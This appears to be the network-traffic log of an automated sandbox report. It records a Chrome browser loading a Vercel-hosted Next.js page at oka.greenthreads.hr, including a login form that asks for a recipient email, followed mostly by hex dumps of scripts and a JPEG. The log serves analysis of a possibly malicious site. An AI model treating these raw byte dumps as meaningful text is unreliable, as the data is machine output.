2025-04-15 18:06:32 UTC	6156	IN	Data Raw: 22 67 65 74 22 2c 22 73 65 74 22 2c 22 68 61 73 22 5d 2e 66 6f 72 45 61 63 68 28 6e 3d 3e 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 6e 2b 72 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 74 68 69 73 5b 6e 5d 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 74 2c 72 2c 6f 29 7d 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 29 7d 28 6e 2c 74 29 2c 72 5b 65 5d 3d 21 30 29 7d 72 65 74 75 72 6e 20 74 62 2e 69 73 41 72 72 61 79 28 74 29 3f 74 2e 66 6f 72 45 61 63 68 28 6f 29 3a 6f 28 74 29 2c 74 68 69 73 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 30 28 74 2c 65 29 7b 6c 65 74 20 72 3d 74 68 69 73 7c 7c 74 4a 2c 6e 3d 65 7c 7c 72 2c 6f 3d 74 51 2e 66 72 6f 6d 28 6e 2e 68 65 61 64 65 72 73 Data Ascii: "get","set","has"].forEach(n=>{Object.defineProperty(t,n+r,{value:function(t,r,o){return this[n].call(this,e,t,r,o)},configurable:!0})})}(n,t),r[e]=!0)}return tb.isArray(t)?t.forEach(o):o(t),this}}function t0(t,e){let r=this\|\|tJ,n=e\|\|r,o=tQ.from(n.headers
2025-04-15 18:06:32 UTC	12084	IN	Data Raw: 28 22 70 72 6f 67 72 65 73 73 22 2c 69 29 29 2c 68 26 26 79 2e 75 70 6c 6f 61 64 26 26 28 5b 6f 2c 73 5d 3d 74 34 28 68 29 2c 79 2e 75 70 6c 6f 61 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 72 6f 67 72 65 73 73 22 2c 6f 29 2c 79 2e 75 70 6c 6f 61 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 65 6e 64 22 2c 73 29 29 2c 28 75 2e 63 61 6e 63 65 6c 54 6f 6b 65 6e 7c 7c 75 2e 73 69 67 6e 61 6c 29 26 26 28 6e 3d 65 3d 3e 7b 79 26 26 28 72 28 21 65 7c 7c 65 2e 74 79 70 65 3f 6e 65 77 20 74 32 28 6e 75 6c 6c 2c 74 2c 79 29 3a 65 29 2c 79 2e 61 62 6f 72 74 28 29 2c 79 3d 6e 75 6c 6c 29 7d 2c 75 2e 63 61 6e 63 65 6c 54 6f 6b 65 6e 26 26 75 2e 63 61 6e 63 65 6c 54 6f 6b 65 6e 2e 73 75 62 73 63 72 69 62 65 28 6e 29 2c 75 Data Ascii: ("progress",i)),h&&y.upload&&([o,s]=t4(h),y.upload.addEventListener("progress",o),y.upload.addEventListener("loadend",s)),(u.cancelToken\|\|u.signal)&&(n=e=>{y&&(r(!e\|\|e.type?new t2(null,t,y):e),y.abort(),y=null)},u.cancelToken&&u.cancelToken.subscribe(n),u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.10	49738	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:33 UTC	581	OUT	GET /_next/static/chunks/pages/index-dadb5f79ae394453.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:33 UTC	626	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 15662 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="index-dadb5f79ae394453.js" Content-Length: 3431 Content-Type: application/javascript; charset=utf-8 Date: Tue, 15 Apr 2025 18:06:33 GMT Etag: "fd0c64c2980f8e5a576bed99c83c6bb0" Last-Modified: Tue, 15 Apr 2025 13:45:30 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/index-dadb5f79ae394453.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::ppcqm-1744740393377-e3f8a2dd219d Connection: close
2025-04-15 18:06:33 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 30 35 5d 2c 7b 35 35 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 28 36 36 31 36 29 7d 5d 29 7d 2c 36 36 31 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 61 3d 6e 28 35 38 39 33 29 2c 6f 3d 6e 28 37 32 39 34 29 2c 73 3d 6e 28 37 30 36 36 29 2c 69 3d 6e 28 32 35 36 38 29 2c 72 3d 6e 2e 6e 28 69 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,n){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i)
2025-04-15 18:06:33 UTC	929	IN	Data Raw: 28 65 2e 74 61 72 67 65 74 2e 76 61 6c 75 65 29 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 69 6e 70 75 74 2c 72 65 71 75 69 72 65 64 3a 21 30 7d 29 2c 28 30 2c 61 2e 6a 73 78 29 28 22 62 75 74 74 6f 6e 22 2c 7b 74 79 70 65 3a 22 73 75 62 6d 69 74 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 62 75 74 74 6f 6e 2c 63 68 69 6c 64 72 65 6e 3a 22 4c 6f 67 69 6e 22 7d 29 5d 7d 29 5d 7d 29 3a 28 30 2c 61 2e 6a 73 78 73 29 28 22 66 6f 72 6d 22 2c 7b 6f 6e 53 75 62 6d 69 74 3a 62 2c 63 68 69 6c 64 72 65 6e 3a 5b 28 30 2c 61 2e 6a 73 78 29 28 22 69 6e 70 75 74 22 2c 7b 74 79 70 65 3a 22 65 6d 61 69 6c 22 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 22 45 6e 74 65 72 20 72 65 63 69 70 69 65 6e 74 20 65 6d 61 69 6c 22 2c 76 61 6c 75 65 3a 65 2c 6f 6e 43 68 61 6e 67 65 Data Ascii: (e.target.value),className:c().input,required:!0}),(0,a.jsx)("button",{type:"submit",className:c().button,children:"Login"})]})]}):(0,a.jsxs)("form",{onSubmit:b,children:[(0,a.jsx)("input",{type:"email",placeholder:"Enter recipient email",value:e,onChange
2025-04-15 18:06:33 UTC	130	IN	Data Raw: 78 5f 69 6e 70 75 74 5f 5f 34 42 39 56 37 22 2c 62 75 74 74 6f 6e 3a 22 49 6e 64 65 78 5f 62 75 74 74 6f 6e 5f 5f 51 52 31 43 4d 22 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4f 28 30 2c 5b 37 37 34 2c 31 38 36 2c 38 38 38 2c 31 37 39 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 65 2e 73 3d 35 35 35 37 29 7d 29 2c 5f 4e 5f 45 3d 65 2e 4f 28 29 7d 5d 29 3b Data Ascii: x_input__4B9V7",button:"Index_button__QR1CM"}}},function(e){e.O(0,[774,186,888,179],function(){return e(e.s=5557)}),_N_E=e.O()}]);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.10	49739	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:33 UTC	582	OUT	GET /_next/static/qG6qgSnklpcbRb9BMWSId/_buildManifest.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:33 UTC	618	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 15662 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_buildManifest.js" Content-Length: 427 Content-Type: application/javascript; charset=utf-8 Date: Tue, 15 Apr 2025 18:06:33 GMT Etag: "95d643460e40fbcaa7a44dcf2924f9f0" Last-Modified: Tue, 15 Apr 2025 13:45:30 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/qG6qgSnklpcbRb9BMWSId/_buildManifest.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::ltqjs-1744740393433-32b547c720e1 Connection: close
2025-04-15 18:06:33 UTC	427	IN	Data Raw: 73 65 6c 66 2e 5f 5f 42 55 49 4c 44 5f 4d 41 4e 49 46 45 53 54 3d 7b 5f 5f 72 65 77 72 69 74 65 73 3a 7b 62 65 66 6f 72 65 46 69 6c 65 73 3a 5b 5d 2c 61 66 74 65 72 46 69 6c 65 73 3a 5b 5d 2c 66 61 6c 6c 62 61 63 6b 3a 5b 5d 7d 2c 22 2f 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 31 38 36 2d 65 34 30 31 37 31 37 64 39 65 38 62 38 34 32 62 2e 6a 73 22 2c 22 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2c 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 69 6e 64 65 78 2d 64 61 64 62 35 66 37 39 61 65 33 39 34 34 35 33 2e 6a 73 22 5d 2c 22 2f 5f 65 72 72 6f 72 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 5f 65 72 72 6f 72 2d 33 39 38 36 64 64 35 38 33 34 66 Data Ascii: self.__BUILD_MANIFEST={__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":["static/chunks/186-e401717d9e8b842b.js","static/css/19d09a6113afa007.css","static/chunks/pages/index-dadb5f79ae394453.js"],"/_error":["static/chunks/pages/_error-3986dd5834f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.10	49740	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:33 UTC	580	OUT	GET /_next/static/qG6qgSnklpcbRb9BMWSId/_ssgManifest.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:33 UTC	613	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 15662 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_ssgManifest.js" Content-Length: 77 Content-Type: application/javascript; charset=utf-8 Date: Tue, 15 Apr 2025 18:06:33 GMT Etag: "b6652df95db52feb4daf4eca35380933" Last-Modified: Tue, 15 Apr 2025 13:45:30 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/qG6qgSnklpcbRb9BMWSId/_ssgManifest.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::4zpvp-1744740393477-79af3e440683 Connection: close
2025-04-15 18:06:33 UTC	77	IN	Data Raw: 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 3d 6e 65 77 20 53 65 74 2c 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 5f 43 42 26 26 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 5f 43 42 28 29 3b Data Ascii: self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.10	49741	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:33 UTC	641	OUT	GET /background.jpg HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:33 UTC	554	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 15662 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="background.jpg" Content-Length: 114870 Content-Type: image/jpeg Date: Tue, 15 Apr 2025 18:06:33 GMT Etag: "45068f0ed4f904b59752fcaa6d8d3e7e" Last-Modified: Tue, 15 Apr 2025 13:45:30 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /background.jpg X-Vercel-Cache: HIT X-Vercel-Id: iad1::87gmv-1744740393474-7067ef1b8e83 Connection: close
2025-04-15 18:06:33 UTC	2372	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff e1 00 22 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 01 12 00 03 00 00 00 01 00 01 00 00 00 00 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 04 0a 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 Data Ascii: JFIFxx"ExifMM*CC"
2025-04-15 18:06:33 UTC	1001	IN	Data Raw: a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
2025-04-15 18:06:33 UTC	4744	IN	Data Raw: 75 28 96 7b 3b db 0b 84 9e da e1 1b ee ba 3a 16 56 5f f6 96 b4 23 af 17 fd 81 75 8b 5f 12 7e cf f7 7a 85 85 d5 be a1 a7 ea 9e 34 f1 75 fd 95 e5 bc ab 24 17 90 4b e2 4d 4d e2 95 1d 7e 57 8d e3 65 75 65 f9 59 59 59 6b da 94 ee aa 00 a2 8a 28 00 5d cb 42 ee dd 5f 9d bf b7 27 ec 5f e0 2f 14 7e de 9a 56 b7 e3 6d 2b 4b f1 84 df 14 2e ac 74 8d 2e 3d 23 52 ba b6 f1 8f 84 ee bc 86 8a 2b fb 7b 75 9b ec 97 1a 7c 0d 68 f7 0e d3 c0 cc be 6c ee cc e9 02 c0 dc cf ed 41 fb 05 e9 3f 11 bf 69 4f 0e f8 6f c6 7a a6 83 af 7c 63 f1 35 aa 6a f7 5f 12 fc 49 15 d6 8b 67 f6 74 9d 2c 61 b0 d1 34 eb 7b 94 82 7d 42 06 f2 a6 65 b9 69 55 59 e2 dc ae 97 4b 1c 0b de 03 f4 e2 8a 28 a6 07 93 7e db db 66 fd 98 fc 49 bd be 56 6b 5f fd 2c 82 bc 33 e1 bf c6 2f 03 78 93 f6 6a b5 f0 37 8b 35 5b Data Ascii: u({;:V_#u_~z4u$KMM~WeueYYYk(]B_'_/~Vm+K.t.=#R+{u\|hlA?iOoz\|c5j_Igt,a4{}BeiUYK(~fIVk_,3/xj75[
2025-04-15 18:06:33 UTC	5930	IN	Data Raw: fc 17 a6 eb 77 fa f5 f6 97 6f aa 6b 67 c3 d1 5a 5f 68 b7 f6 da af f6 af d9 5e f1 2c 1f 4f 78 56 e5 2e 65 82 2d f1 44 f1 2c 93 f9 b0 79 4a ed 3c 4a e0 1e b5 45 79 37 8a bf 6d 6f 87 be 0b f1 25 ae 8b 75 7d e2 69 bc 47 79 a4 59 78 85 34 2b 0f 09 6a f7 da c2 e9 f7 4d 3a 45 70 f6 30 da 3d ca 46 b2 42 e8 fb d1 7c 89 1a 24 97 63 4b 12 bd cf 01 7e d8 7f 0e be 2c 78 c2 cf 47 f0 ef 88 7f b6 1b 54 de ba 6e a9 6f 61 70 da 1e b4 e8 8c ef 15 8e a7 e5 7d 86 f6 54 54 95 9a 28 25 79 17 ec b3 ee 55 f2 25 d8 7b a0 7a 6d 14 51 40 05 14 57 8c 7c 7b f8 81 f1 13 fe 1a 23 c0 fe 05 f0 1e b5 e0 dd 07 fb 7b c3 9a ee bd 7f 7b af e8 17 5a c7 fc 78 5c 69 30 24 51 24 37 d6 bb 77 7f 68 bb 33 33 37 dc 5f 96 80 3d 9e 8a f9 ff 00 43 fd bc bc 33 e0 7d 63 50 f0 67 c4 2b cf b3 7c 44 d0 f5 1b Data Ascii: wokgZ_h^,OxV.e-D,yJ<JEy7mo%u}iGyYx4+jM:Ep0=FB\|$cK~,xGTnoap}TT(%yU%{zmQ@W\|{#{{Zx\i0$Q$7wh337_=C3}cPg+\|D
2025-04-15 18:06:33 UTC	7116	IN	Data Raw: d8 3f 11 64 6d ff 00 da 1e 0f db fc 43 ed 97 1f fc 66 b1 95 3a 2e 5c d1 63 f7 8f 99 fc 27 67 26 9f e1 bd 3e de 4f b6 34 90 db c5 13 0b c9 56 5b 95 da ab fe b5 97 e5 69 7f bc cb fc 55 a9 e6 49 ff 00 3c ff 00 f1 ea fa 23 fe 1d 93 f1 0b 6f fc 84 3c 1e bf f6 f5 71 ff 00 c6 68 8f fe 09 97 f1 13 fe 82 5e 0f ff 00 c0 ab 8f fe 33 5b fb 68 77 33 3e 73 fb 44 96 fa 7b 21 fb d5 d7 fc 0b 87 67 c7 0f 03 7c df 37 fc 24 1a 7f fe 94 25 7a dc 9f f0 4c bf 88 b7 2a db 75 4f 07 af fd bd 5c 7f f1 9a da f8 73 ff 00 04 e6 f1 f7 85 7e 28 78 77 56 bc d4 fc 2a d6 5a 3e ad 69 7b 3a c5 71 33 48 c9 14 aa ec ab ba 15 f9 b6 af f7 a9 4a b4 39 77 2f 53 ed 98 ff 00 d5 ad 7c 9d ff 00 05 c4 f8 77 e2 1f 8b 1f f0 4b bf 8a 3e 1f f0 ae 87 ad 78 9f 5e d4 3f b2 be cf a6 69 56 73 df 5d 5c 6c d5 ec Data Ascii: ?dmCf:.\c'g&>O4V[iUI<#o<qh^3[hw3>sD{!g\|7$%zLuO\s~(xwVZ>i{:q3HJ9w/S\|wK>x^?iVs]\l
2025-04-15 18:06:33 UTC	8302	IN	Data Raw: 8f 70 db d1 95 36 b2 b7 cb b7 f8 6b c9 2c be 36 7c 40 fd b6 3c 11 e2 ef 03 f8 17 c1 fe 05 d7 b5 0b cd 22 e2 de f3 fb 3f c7 56 b7 32 58 a4 fb 91 65 74 f2 97 73 6e 6a bf 27 fc 1d 51 f0 57 cb 5f f8 a1 7e 2a 33 7f 17 fa 05 87 ff 00 26 57 37 e0 7f f8 39 23 f6 6b f8 5b 75 aa 4f e1 8f 83 be 36 f0 fc 9a f4 ff 00 6a d4 a4 d3 b4 1d 2e d6 4b e9 9b 77 ef 65 68 ae 57 7c 9f 31 f9 9b e6 f9 ab 68 e2 2d 1b 26 3e 53 f4 13 f6 13 f0 af 8e 3c 03 fb 2f f8 63 c3 de 3e d1 f4 fd 1f c4 3e 1f b4 4d 39 92 d2 f5 6e a3 9a 24 5d a9 2a b2 aa ff 00 df 35 ea 57 5a 1e 9f 79 aa 5a ea 37 16 76 72 5f 69 e9 2c 56 f7 12 44 ad 2d ba cb b7 cd 55 6f bc aa db 57 77 f7 b6 ad 7e 65 7f c4 55 9f 06 23 6f 9b c0 7f 15 36 ff 00 d7 9d 87 ff 00 25 d3 a3 ff 00 83 a9 3e 09 f9 9f 37 80 fe 2a 7e 16 76 1f fc 97 Data Ascii: p6k,6\|@<"?V2Xetsnj'QW_~3&W79#k[uO6j.KwehW\|1h-&>S</c>>M9n$]5WZyZ7vr_i,VD-UoWw~eU#o6%>7*~v
2025-04-15 18:06:33 UTC	6676	IN	Data Raw: 1a 68 9a af 85 7c 5f 71 7b 6b e2 3f 0b ba cb 16 a9 13 27 95 2a 3a f9 d1 7f 14 48 e8 ff 00 37 de 7a f1 2f 0a fc 6c b6 f0 af ed 6d a1 f8 fa ea e7 5a f1 05 8e 8f e2 1b 7d 52 59 6f 65 dd 7d 7d 14 52 ab fc e5 99 bf 78 ca bf de ac 65 4e 0a c3 f7 8f 4a fd af 3f 66 3b 7f 0b fc 4c f1 d5 87 87 7c 0b a6 d8 78 7b c0 f3 da c4 f7 9a 3f 88 57 50 8e 14 9f 76 c7 b9 66 96 5d d2 3e c7 f9 53 66 d6 fb cb f3 2d 66 fe d2 9f 04 fc 5d 1f c6 4f 1f 7c 39 f0 3d c5 f4 3f 0e fc 17 a9 2e db 2b fd 6f c8 d3 2c dd fe eb 33 4c eb 1f 98 df 37 fb 5f 7a a5 d4 3f 6c cf 0f de 69 1f 1a ad 57 4f d5 37 7c 4c bf b1 bc d3 8e d4 ff 00 47 f2 1a 76 65 97 e6 f9 7f d6 af dd dd 5d 1e ad ff 00 05 08 d1 fc 59 ad 7c 68 85 af bc 69 e1 3b 1f 88 97 f6 5a a6 97 a9 68 cc bf 6c d3 e6 b6 76 f9 25 8b cd 89 5e 37 8e Data Ascii: h\|_q{k?'*:H7z/lmZ}RYoe}}RxeNJ?f;L\|x{?WPvf]>Sf-f]O\|9=?.+o,3L7_z?liWO7\|LGve]Y\|hi;Zhlv%^7
2025-04-15 18:06:33 UTC	10674	IN	Data Raw: 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f f0 fc 7f 82 9f f4 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f bb ec 1c c7 eb 57 fc 3d 13 c7 df f4 07 f0 9f fe 02 dc 7f f1 ea 3f e1 e8 9e 3e ff 00 a0 3f 84 ff 00 f0 16 e3 ff 00 8f 57 e4 af fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 ee fb 07 31 fa d5 ff 00 0f 44 f1 f7 fd 01 fc 27 ff 00 80 b7 1f fc 7a 8f f8 7a 27 8f bf e8 0f e1 3f fc 05 b8 ff 00 e3 d5 f9 21 77 ff 00 05 c5 f8 36 96 d2 1b 7f 10 7c 48 92 6d bc 2c 9f 0a 2c 95 49 ff 00 7b fe 12 76 ff 00 d0 6a 5f f8 7e 3f c1 4f fa 19 3e 28 7f e1 a3 b0 ff 00 e6 a2 8f dd f6 0e 63 f5 ab fe 1e 89 e3 ef fa 03 f8 4f ff 00 01 6e 3f f8 f5 1f f0 f4 4f 1f 7f d0 1f c2 7f f8 0b 71 ff 00 c7 ab f2 57 fe 1f 8f f0 53 fe 86 4f 8a 1f f8 68 Data Ascii: 2\|PGaE2\|PGaEW=?>?W??QG??QG1D'zz'?!w6\|Hm,,I{vj_~?O>(cOn?OqWSOh
2025-04-15 18:06:33 UTC	11860	IN	Data Raw: 97 c4 1a 85 14 51 59 90 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 a9 f7 c7 d6 92 95 3e f8 fa d0 04 f4 d9 7f d5 9a 75 36 5f f5 66 b7 96 c4 2d cf cd 2f f8 2f 5f fc 15 b2 c3 f6 48 d0 35 af 81 71 78 1e f3 c4 5a af c4 ef 01 df ad ce a8 fa 9a d9 5b 69 10 df 2d cd 8c 2e 89 e5 c8 d7 0e 1a 39 dd 90 f9 40 05 8c 07 62 e7 67 e7 a7 fc 12 ab fe 0b 9f ff 00 0e ca fd 9e 35 9f 02 7f c2 ad ff 00 84 d8 6a de 22 9b 5e fb 77 fc 24 9f d9 be 57 99 6d 6b 07 93 e5 fd 96 6c e3 ec db b7 6e 19 df 8c 0c 64 f6 9f f0 75 77 fc a4 1f c1 df f6 4f 2c 7f f4 e5 aa 57 c5 ff 00 f0 4f 6f 1b 7c 2f f8 73 fb 67 7c 3f d6 be 32 e9 27 5b f8 6b 63 a9 17 d6 ad 0d ab 5d c6 7f 76 e2 09 65 85 48 32 c3 15 c1 8a 59 23 01 fc c8 Data Ascii: QYQEQEQEQEQEQEQEQEQEQE>u6_f-//_H5qxZ[i-.9@bg5j"^w$WmklnduwO,WOo\|/sg\|?2'[kc]veH2Y#
2025-04-15 18:06:33 UTC	10234	IN	Data Raw: f3 32 ed af 1e bc f0 df 88 74 1f 18 5c 58 58 5e 32 5c df 7f a4 37 d9 a4 65 f9 19 9b 6e ef 97 fd ea f2 30 fd 51 b4 8d 23 e3 07 8b 76 df 13 ea 0d bb bf fc 23 d5 91 e1 3f 89 9e 1d f8 53 63 ac f8 87 c4 da d5 9e 93 a4 db ec 49 75 0b d6 58 23 de f2 ed 5d df dd dc df c3 59 ed f1 12 3d 2b e2 75 d7 83 ee be 22 69 f6 be 24 d3 ec d6 f6 5b 3b 9b c7 87 cb 89 b6 ed 6d ec 9b 5b ef 0f 97 76 ea f2 7f db d3 47 d2 af 3f 63 3f 1f c6 f7 9e 1d f1 65 d5 c4 09 70 96 f6 9a f4 50 49 1b a4 bb da e3 fd bf 2b ef ec fe 2d bb 6b 69 5b 91 ff 00 5f a0 75 3e af f8 67 f1 63 c3 7f 19 bc 37 fd b1 e1 5d 6e c7 5e d2 fc d6 83 ed 36 52 ac 91 f9 ab f7 97 77 fc 09 6b c4 bf e0 a8 2b bb e0 1e 8f ff 00 63 04 3f fa 